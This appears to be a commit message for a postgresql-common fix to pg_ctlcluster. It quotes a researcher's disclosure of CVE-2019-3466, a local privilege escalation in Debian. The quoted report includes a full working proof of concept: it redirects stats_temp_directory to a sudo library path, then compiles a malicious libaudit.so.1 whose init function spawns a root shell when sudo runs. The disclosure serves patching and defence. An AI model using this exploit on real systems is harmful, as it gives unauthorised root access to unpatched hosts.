pg_ctlcluster: Drop privileges before creating socket and stats temp...
pg_ctlcluster: Drop privileges before creating socket and stats temp directories outside /var/run/postgresql The default configuration is not affected by this change. Users with directories on volatile storage (tmpfs) in other locations have to make sure the parent directory is writable for the cluster owner. (CVE-2019-3466, discovered by Rich Mirch) > Rich Mirch > rich@mirch.com > PGP: https://0xm1rch.keybase.pub/rich-mirch.asc > > Title > > Privilege Escalation via Arbitrary Directory Creation in pg_ctlcluster > > Description > > The pg_ctlcluster script in the postgresql-common package in Debian buster is > vulnerable to a local privilege escalation attack. A malicious actor with > access to the postgres account can create arbitrary directories during > startup or reload when called via service/systemctl or when the system boots > up normally. This vulnerability can be leveraged to escalate privileges to root. > > The postgresql init script(/etc/init.d/postgresql) sources > /usr/share/postgresql-common/init.d-functions which contain functions that call > the pg_ctlcluster script during startup, reload, or shutdown. During a start or > reload operation, pg_ctlcluster loads PostgreSQL configuration files under > /etc/postgresql/cluster-version/cluster-name/pg_ctl.conf and > /etc/postgresql/cluster-version/cluster-name/postgresql.conf. These files are > owned by the postgres user. pg_ctlcluster contains logic for two values defined > in these files, both which which represent directories. During a start/reload, > if socketdir(defined in pg_ctl.conf) or stats_temp_directory(defined in > postgresql.conf) is defined and the directory does not exist, pg_ctlcluster > will create the directory and set the owner to the postgres user. > > This PoC will show the ability to gain root privileges using the default > installation of postgresql-11. > > I have also verified the vulnerability on Ubuntu 19.04 with version 199 of > postgresql-common. I have not contacted the Ubuntu security team yet. I assumed > that Debian is the maintainer of this package based on the developer listed > in the script. Please advise if I should contact them or if the Debian > security team will handle that. > > Vulnerable lines in pg_ctlcluster that execute with root privileges. > > Note: Some lines were split for readability > > # recreate /var/run/postgresql > if ($action ne 'stop' && ! -d $info{'socketdir'}) { > system 'install', '-d', '-m', 2775, > '-o', $info{'owneruid'}, '-g', $info{'ownergid'}, $info{'socketdir'}; > } > > # recreate stats_temp_directory > if ($action ne 'stop' && $info{config}->{stats_temp_directory} > && ! -d $info{config}->{stats_temp_directory}) { > system 'install', '-d', '-m', 750, > '-o', $info{'owneruid'}, '-g', $info{'ownergid'}, > $info{config}->{stats_temp_directory}; > } > > Test Environment > > OS: Debian GNU/Linux 10 (buster) > Package: postgresql-common 200+deb10u2 > > > Steps to reproduce > > Note: This PoC will leverage the stats_temp_directory value in postgresql.conf. > The same procedure can be used for the socketdir value in pg_ctl.conf. > > > Step 1) As root install the postgresql-11 package. > > > apt install postgresql-11 > > > Step 2) As the postgres user, modify the stats_temp_directory value in > /etc/postgresql/11/main/postgresql.conf to point to /usr/lib/sudo/haswell. Diff > included below. > > Note: When I discovered that I could create arbitrary directories owned by the > postgres user I searched for an easy way to elevate privileges to the root > account. I found that sudo attempts to load libraries from several non-existent > directories. /usr/lib/sudo/haswell was one of these paths and will be used for > this PoC. Other possibilities may exist to elevate privileges using a similar > technique. > > > --- postgresql.conf.orig 2019-10-13 10:16:52.030874165 -0500 > +++ postgresql.conf 2019-10-13 10:23:06.054866973 -0500 > @@ -500,7 +500,8 @@ > #track_io_timing = off > #track_functions = none # none, pl, all > #track_activity_query_size = 1024 # (change requires restart) > -stats_temp_directory = '/var/run/postgresql/11-main.pg_stat_tmp' > +#stats_temp_directory = '/var/run/postgresql/11-main.pg_stat_tmp' > +stats_temp_directory = '/usr/lib/sudo/haswell' > > > # - Monitoring - > > > Step 3) As root restart the postgresql service. > > > systemctl restart postgresql > > > Step 4) Verify that the /usr/lib/sudo/haswell directory was created and the > owner is set to postgres. > > > ls -ld /usr/lib/sudo/haswell > > > Step 5) As the postgres create woot.c. This is a stub library that will execute > a shell as root when loaded by the privileged sudo binary. > > > cat>woot.c<<EOF > /* > * Author: Rich Mirch @0xm1rch > * PoC for pg_ctlcluster arbitrary directory creation > * gcc -fPIC -o woot.o -Wall -c woot.c > * gcc -Wall -shared -Wl,-soname,libaudit.so.1 \ > * -Wl,-init,woot -o /usr/lib/sudo/haswell/libaudit.so.1 woot.o > * sudo > */ > #include <stdlib.h> > #include <sys/types.h> > #include <unistd.h> > > void audit_open() > { > return; > } > > void audit_log_user_message() > { > return; > } > > void woot(){ > setreuid(0,0); > execl("/bin/sh","/bin/sh",NULL); > } > EOF > > > Step 6) Build libaudit.so.1 and store it in /usr/lib/sudo/haswell. > > > gcc -fPIC -o woot.o -Wall -c woot.c > gcc -Wall -shared -Wl,-soname,libaudit.so.1 \ > -Wl,-init,woot -o /usr/lib/sudo/haswell/libaudit.so.1 woot.o > > > Step 7) Execute sudo to spawn a root shell. > > sudo > > > Recommendations > > I have not included a patch because I am not sure of the best way to resolve > the issue given the current design however these values are loaded from an > untrusted context and special handling will be required.
Please register or sign in to comment